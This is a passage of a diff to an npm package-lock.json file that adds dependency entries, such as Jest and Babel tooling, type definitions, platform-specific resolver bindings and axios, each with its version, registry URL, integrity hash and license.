"sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "@sinonjs/commons": "^3.0.1" + } + }, + "node_modules/@tsconfig/node10": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@tsconfig/node10/-/node10-1.0.9.tgz", + "integrity": "sha512-jNsYVVxU8v5g43Erja32laIDHXeoNvFEpX33OK4d6hljo3jDhCBDhx5dhCCTMWUojscpAagGiRkBKxpdl9fxqA==", + "dev": true + }, + "node_modules/@tsconfig/node12": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/@tsconfig/node12/-/node12-1.0.11.tgz", + "integrity": "sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag==", + "dev": true + }, + "node_modules/@tsconfig/node14": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@tsconfig/node14/-/node14-1.0.3.tgz", + "integrity": "sha512-ysT8mhdixWK6Hw3i1V2AeRqZ5WfXg1G43mqoYlM2nc6388Fq5jcXyr5mRsqViLx/GJYdoL0bfXD8nmF+Zn/Iow==", + "dev": true + }, + "node_modules/@tsconfig/node16": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@tsconfig/node16/-/node16-1.0.3.tgz", + "integrity": "sha512-yOlFc+7UtL/89t2ZhjPvvB/DeAr3r+Dq58IgzsFkOAvVC6NMJXmCGjbptdXdR9qsX7pKcTL+s87FtYREi2dEEQ==", + "dev": true + }, + "node_modules/@tybys/wasm-util": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/@tybys/wasm-util/-/wasm-util-0.9.0.tgz", + "integrity": "sha512-6+7nlbMVX/PVDCwaIQ8nTOPveOcFLSt8GcXdx8hD0bt39uWxYT88uXzqTd4fTvqta7oeUJqudepapKNt2DYJFw==", "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@types/babel__core": { + "version": "7.20.5", + "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", + "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.20.7", + "@babel/types": "^7.20.7", + "@types/babel__generator": "*", + "@types/babel__template": "*", + "@types/babel__traverse": "*" + } + }, + "node_modules/@types/babel__generator": { + "version": "7.27.0", + "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", + "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__template": { + "version": "7.4.4", + "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", + "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.1.0", + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__traverse": { + "version": "7.20.7", + "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.20.7.tgz", + "integrity": "sha512-dkO5fhS7+/oos4ciWxyEyjWe48zmG6wbCheo/G2ZnHx4fs3EU6YC6UM8rk56gAjNJ9P3MTH2jo5jb92/K6wbng==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.20.7" + } + }, + "node_modules/@types/istanbul-lib-coverage": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz", + "integrity": "sha512-2QF/t/auWm0lsy8XtKVPG19v3sSOQlJe/YHZgfjb/KBBHOGSV+J2q/S671rcq9uTBrLAXmZpqJiaQbMT+zNU1w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/istanbul-lib-report": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.3.tgz", + "integrity": "sha512-NQn7AHQnk/RSLOxrBbGyJM/aVQ+pjj5HCgasFxc0K/KhoATfQ/47AyUl15I2yBUpihjmas+a+VJBOqecrFH+uA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "*" + } + }, + "node_modules/@types/istanbul-reports": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.4.tgz", + "integrity": "sha512-pk2B1NWalF9toCRu6gjBzR69syFjP4Od8WRAX+0mmf9lAjCRicLOWc+ZrxZHx/0XRjotgkF9t6iaMJ+aXcOdZQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-report": "*" + } + }, + "node_modules/@types/jest": { + "version": "30.0.0", + "resolved": "https://registry.npmjs.org/@types/jest/-/jest-30.0.0.tgz", + "integrity": "sha512-XTYugzhuwqWjws0CVz8QpM36+T+Dz5mTEBKhNs/esGLnCIlGdRy+Dq78NRjd7ls7r8BC8ZRMOrKlkO1hU0JOwA==", + "dev": true, + "license": "MIT", + "dependencies": { + "expect": "^30.0.0", + "pretty-format": "^30.0.0" + } + }, + "node_modules/@types/js-yaml": { + "version": "4.0.9", + "resolved": "https://registry.npmjs.org/@types/js-yaml/-/js-yaml-4.0.9.tgz", + "integrity": "sha512-k4MGaQl5TGo/iipqb2UDG2UwjXziSWkh0uysQelTlJpX1qGlpUZYm8PnO4DxG1qBomtJUdYJ6qR6xdIah10JLg==", + "dev": true + }, + "node_modules/@types/jscodeshift": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/@types/jscodeshift/-/jscodeshift-0.12.0.tgz", + "integrity": "sha512-Jr2fQbEoDmjwEa92TreR/mX2t9iAaY/l5P/GKezvK4BodXahex60PDLXaQR0vAgP0KfCzc1CivHusQB9NhzX8w==", + "dev": true, + "license": "MIT", + "dependencies": { + "ast-types": "^0.14.1", + "recast": "^0.20.3" + } + }, + "node_modules/@types/minimatch": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.5.tgz", + "integrity": "sha512-Klz949h02Gz2uZCMGwDUSDS1YBlTdDDgbWHi+81l29tQALUtvz4rAYi5uoVhE5Lagoq6DeqAUlbrHvW/mXDgdQ==", + "dev": true + }, + "node_modules/@types/minimist": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/@types/minimist/-/minimist-1.2.5.tgz", + "integrity": "sha512-hov8bUuiLiyFPGyFPE1lwWhmzYbirOXQNNo40+y3zow8aFVTeyn3VWL0VFFfdNddA8S4Vf0Tc062rzyNr7Paag==", + "dev": true + }, + "node_modules/@types/node": { + "version": "15.14.9", + "resolved": "https://registry.npmjs.org/@types/node/-/node-15.14.9.tgz", + "integrity": "sha512-qjd88DrCxupx/kJD5yQgZdcYKZKSIGBVDIBE1/LTGcNm3d2Np/jxojkdePDdfnBHJc5W7vSMpbJ1aB7p/Py69A==", + "dev": true + }, + "node_modules/@types/stack-utils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.3.tgz", + "integrity": "sha512-9aEbYZ3TbYMznPdcdr3SmIrLXwC/AKZXQeCf9Pgao5CKb8CyHuEX5jzWPTkvregvhRJHcpRO6BFoGW9ycaOkYw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/yargs": { + "version": "17.0.33", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.33.tgz", + "integrity": "sha512-WpxBCKWPLr4xSsHgz511rFJAM+wS28w2zEO1QDNY5zM/S8ok70NNfztH0xwhqKyaK0OHCbN98LDAZuy1ctxDkA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/@types/yargs-parser": { + "version": "21.0.3", + "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.3.tgz", + "integrity": "sha512-I4q9QU9MQv4oEOz4tAHJtNz1cwuLxn2F3xcc2iV5WdqLPpUnj30aUuxt1mAxYTG+oe8CZMV/+6rU4S4gRDzqtQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@ungap/structured-clone": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.3.0.tgz", + "integrity": "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==", + "dev": true, + "license": "ISC" + }, + "node_modules/@unrs/resolver-binding-android-arm-eabi": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-android-arm-eabi/-/resolver-binding-android-arm-eabi-1.9.2.tgz", + "integrity": "sha512-tS+lqTU3N0kkthU+rYp0spAYq15DU8ld9kXkaKg9sbQqJNF+WPMuNHZQGCgdxrUOEO0j22RKMwRVhF1HTl+X8A==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@unrs/resolver-binding-android-arm64": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-android-arm64/-/resolver-binding-android-arm64-1.9.2.tgz", + "integrity": "sha512-MffGiZULa/KmkNjHeuuflLVqfhqLv1vZLm8lWIyeADvlElJ/GLSOkoUX+5jf4/EGtfwrNFcEaB8BRas03KT0/Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@unrs/resolver-binding-darwin-arm64": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-darwin-arm64/-/resolver-binding-darwin-arm64-1.9.2.tgz", + "integrity": "sha512-dzJYK5rohS1sYl1DHdJ3mwfwClJj5BClQnQSyAgEfggbUwA9RlROQSSbKBLqrGfsiC/VyrDPtbO8hh56fnkbsQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@unrs/resolver-binding-darwin-x64": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-darwin-x64/-/resolver-binding-darwin-x64-1.9.2.tgz", + "integrity": "sha512-gaIMWK+CWtXcg9gUyznkdV54LzQ90S3X3dn8zlh+QR5Xy7Y+Efqw4Rs4im61K1juy4YNb67vmJsCDAGOnIeffQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@unrs/resolver-binding-freebsd-x64": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-freebsd-x64/-/resolver-binding-freebsd-x64-1.9.2.tgz", + "integrity": "sha512-S7QpkMbVoVJb0xwHFwujnwCAEDe/596xqY603rpi/ioTn9VDgBHnCCxh+UFrr5yxuMH+dliHfjwCZJXOPJGPnw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@unrs/resolver-binding-linux-arm-gnueabihf": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm-gnueabihf/-/resolver-binding-linux-arm-gnueabihf-1.9.2.tgz", + "integrity": "sha512-+XPUMCuCCI80I46nCDFbGum0ZODP5NWGiwS3Pj8fOgsG5/ctz+/zzuBlq/WmGa+EjWZdue6CF0aWWNv84sE1uw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@unrs/resolver-binding-linux-arm-musleabihf": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm-musleabihf/-/resolver-binding-linux-arm-musleabihf-1.9.2.tgz", + "integrity": "sha512-sqvUyAd1JUpwbz33Ce2tuTLJKM+ucSsYpPGl2vuFwZnEIg0CmdxiZ01MHQ3j6ExuRqEDUCy8yvkDKvjYFPb8Zg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@unrs/resolver-binding-linux-arm64-gnu": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm64-gnu/-/resolver-binding-linux-arm64-gnu-1.9.2.tgz", + "integrity": "sha512-UYA0MA8ajkEDCFRQdng/FVx3F6szBvk3EPnkTTQuuO9lV1kPGuTB+V9TmbDxy5ikaEgyWKxa4CI3ySjklZ9lFA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@unrs/resolver-binding-linux-arm64-musl": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm64-musl/-/resolver-binding-linux-arm64-musl-1.9.2.tgz", + "integrity": "sha512-P/CO3ODU9YJIHFqAkHbquKtFst0COxdphc8TKGL5yCX75GOiVpGqd1d15ahpqu8xXVsqP4MGFP2C3LRZnnL5MA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@unrs/resolver-binding-linux-ppc64-gnu": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-ppc64-gnu/-/resolver-binding-linux-ppc64-gnu-1.9.2.tgz", + "integrity": "sha512-uKStFlOELBxBum2s1hODPtgJhY4NxYJE9pAeyBgNEzHgTqTiVBPjfTlPFJkfxyTjQEuxZbbJlJnMCrRgD7ubzw==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@unrs/resolver-binding-linux-riscv64-gnu": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-riscv64-gnu/-/resolver-binding-linux-riscv64-gnu-1.9.2.tgz", + "integrity": "sha512-LkbNnZlhINfY9gK30AHs26IIVEZ9PEl9qOScYdmY2o81imJYI4IMnJiW0vJVtXaDHvBvxeAgEy5CflwJFIl3tQ==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@unrs/resolver-binding-linux-riscv64-musl": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-riscv64-musl/-/resolver-binding-linux-riscv64-musl-1.9.2.tgz", + "integrity": "sha512-vI+e6FzLyZHSLFNomPi+nT+qUWN4YSj8pFtQZSFTtmgFoxqB6NyjxSjAxEC1m93qn6hUXhIsh8WMp+fGgxCoRg==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@unrs/resolver-binding-linux-s390x-gnu": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-s390x-gnu/-/resolver-binding-linux-s390x-gnu-1.9.2.tgz", + "integrity": "sha512-sSO4AlAYhSM2RAzBsRpahcJB1msc6uYLAtP6pesPbZtptF8OU/CbCPhSRW6cnYOGuVmEmWVW5xVboAqCnWTeHQ==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@unrs/resolver-binding-linux-x64-gnu": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-x64-gnu/-/resolver-binding-linux-x64-gnu-1.9.2.tgz", + "integrity": "sha512-jkSkwch0uPFva20Mdu8orbQjv2A3G88NExTN2oPTI1AJ+7mZfYW3cDCTyoH6OnctBKbBVeJCEqh0U02lTkqD5w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@unrs/resolver-binding-linux-x64-musl": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-x64-musl/-/resolver-binding-linux-x64-musl-1.9.2.tgz", + "integrity": "sha512-Uk64NoiTpQbkpl+bXsbeyOPRpUoMdcUqa+hDC1KhMW7aN1lfW8PBlBH4mJ3n3Y47dYE8qi0XTxy1mBACruYBaw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@unrs/resolver-binding-wasm32-wasi": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-wasm32-wasi/-/resolver-binding-wasm32-wasi-1.9.2.tgz", + "integrity": "sha512-EpBGwkcjDicjR/ybC0g8wO5adPNdVuMrNalVgYcWi+gYtC1XYNuxe3rufcO7dA76OHGeVabcO6cSkPJKVcbCXQ==", + "cpu": [ + "wasm32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@napi-rs/wasm-runtime": "^0.2.11" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@unrs/resolver-binding-win32-arm64-msvc": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-win32-arm64-msvc/-/resolver-binding-win32-arm64-msvc-1.9.2.tgz", + "integrity": "sha512-EdFbGn7o1SxGmN6aZw9wAkehZJetFPao0VGZ9OMBwKx6TkvDuj6cNeLimF/Psi6ts9lMOe+Dt6z19fZQ9Ye2fw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@unrs/resolver-binding-win32-ia32-msvc": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-win32-ia32-msvc/-/resolver-binding-win32-ia32-msvc-1.9.2.tgz", + "integrity": "sha512-JY9hi1p7AG+5c/dMU8o2kWemM8I6VZxfGwn1GCtf3c5i+IKcMo2NQ8OjZ4Z3/itvY/Si3K10jOBQn7qsD/whUA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@unrs/resolver-binding-win32-x64-msvc": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-win32-x64-msvc/-/resolver-binding-win32-x64-msvc-1.9.2.tgz", + "integrity": "sha512-ryoo+EB19lMxAd80ln9BVf8pdOAxLb97amrQ3SFN9OCRn/5M5wvwDgAe4i8ZjhpbiHoDeP8yavcTEnpKBo7lZg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/acorn-walk": { + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.2.0.tgz", + "integrity": "sha512-k+iyHEuPgSw6SbuDpGQM+06HQUa04DZ3o+F6CSzXMvvI5KMvnaEqXe+YVe555R9nn6GPt404fos4wcgpw12SDA==", + "dev": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/adm-zip": { + "version": "0.5.16", + "resolved": "https://registry.npmjs.org/adm-zip/-/adm-zip-0.5.16.tgz", + "integrity": "sha512-TGw5yVi4saajsSEgz25grObGHEUaDrniwvA2qwSC060KfqGPdglhvPMA2lPIoxs3PQIItj2iag35fONcQqgUaQ==", + "license": "MIT", + "engines": { + "node": ">=12.0" + } + }, + "node_modules/ansi-escapes": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz", + "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "type-fest": "^0.21.3" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/arg": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/arg/-/arg-4.1.3.tgz", + "integrity": "sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA==", + "dev": true + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==" + }, + "node_modules/array-union": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "engines": { + "node": ">=8" + } + }, + "node_modules/ast-types": { + "version": "0.14.2", + "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.14.2.tgz", + "integrity": "sha512-O0yuUDnZeQDL+ncNGlJ78BiO4jnYI3bvMsD5prT0/nsgijG/LpNBIr63gTjVTNsiGkgQhiyCShTgxt8oXOrklA==", + "dev": true, + "license": "MIT", + "dependencies": { + "tslib": "^2.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/async": { + "version": "3.2.6", + "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz", + "integrity": "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==", + "dev": true, + "license": "MIT" + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==" + }, + "node_modules/axios": { + "version": "1.8.3", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.8.3.tgz", + "integrity": "sha512-iP4DebzoNlP/YN2dpwCgb8zoCmhtkajzS48JvwmkSkXvPI3DHc7m+XYL5tGnSlJtR6nImXZmdCuN5aP8dh1d8A==", + "license": "MIT", + "dependencies": { + "follow-redirects": "^1.15.6", + "form-data": "^4.0.0", + "proxy-from-env": "^1.1.0" + } + }, + "node_modules/babel-jest": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-30.0.2.tgz", + "integrity": "sha512-A5kqR1/EUTidM2YC2YMEUDP2+19ppgOwK0IAd9Swc3q2KqFb5f9PtRUXVeZcngu0z5mDMyZ9zH2huJZSOMLiTQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/transform": "30.0.2", + "@types/babel__core": "^7.20.5", + "babel-plugin-istanbul": "^7.0.0", + "babel-preset-jest": "30.0.1", + "chalk": "^4.1.2", + "graceful-fs": "^4.2.11", + "slash": "^3.0.0" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.11.0" + } + }, + "node_modules/babel-plugin-istanbul": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-7.0.0.tgz", + "integrity": "sha512-C5OzENSx/A+gt7t4VH1I2XsflxyPUmXRFPKBxt33xncdOmq7oROVM3bZv9Ysjjkv8OJYDMa+tKuKMvqU/H3xdw==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "@babel/helper-plugin-utils": "^7.0.0", + "@istanbuljs/load-nyc-config": "^1.0.0", + "@istanbuljs/schema": "^0.1.3", + "istanbul-lib-instrument": "^6.0.2", + "test-exclude": "^6.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/babel-plugin-jest-hoist": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-30.0.1.tgz", + "integrity": "sha512-zTPME3pI50NsFW8ZBaVIOeAxzEY7XHlmWeXXu9srI+9kNfzCUTy8MFan46xOGZY8NZThMqq+e3qZUKsvXbasnQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/template": "^7.27.2", + "@babel/types": "^7.27.3", + "@types/babel__core": "^7.20.5" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/babel-preset-current-node-syntax": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.1.0.tgz", + "integrity": "sha512-ldYss8SbBlWva1bs28q78Ju5Zq1F+8BrqBZZ0VFhLBvhh6lCpC2o3gDJi/5DRLs9FgYZCnmPYIVFU4lRXCkyUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/plugin-syntax-async-generators": "^7.8.4", + "@babel/plugin-syntax-bigint": "^7.8.3", + "@babel/plugin-syntax-class-properties": "^7.12.13", + "@babel/plugin-syntax-class-static-block": "^7.14.5", + "@babel/plugin-syntax-import-attributes": "^7.24.7", + "@babel/plugin-syntax-import-meta": "^7.10.4", + "@babel/plugin-syntax-json-strings": "^7.8.3", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", + "@babel/plugin-syntax-numeric-separator": "^7.10.4", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", + "@babel/plugin-syntax-optional-chaining": "^7.8.3", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5", + "@babel/plugin-syntax-top-level-await": "^7.14.5" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/babel-preset-jest": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-30.0.1.tgz", + "integrity": "sha512-+YHejD5iTWI46cZmcc/YtX4gaKBtdqCHCVfuVinizVpbmyjO3zYmeuyFdfA8duRqQZfgCAMlsfmkVbJ+e2MAJw==", + "dev": true, + "license": "MIT", + "dependencies": { + "babel-plugin-jest-hoist": "30.0.1", + "babel-preset-current-node-syntax": "^1.1.0" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.11.0" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" + }, + "node_modules/before-after-hook": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/before-after-hook/-/before-after-hook-4.0.0.tgz", + "integrity": "sha512-q6tR3RPqIB1pMiTRMFcZwuG5T8vwp+vUvEG0vuI6B+Rikh5BfPp2fQ82c925FOs+b0lcFQ8CFrL+KbilfZFhOQ==", + "license": "Apache-2.0" + }, + "node_modules/brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", + "integrity": 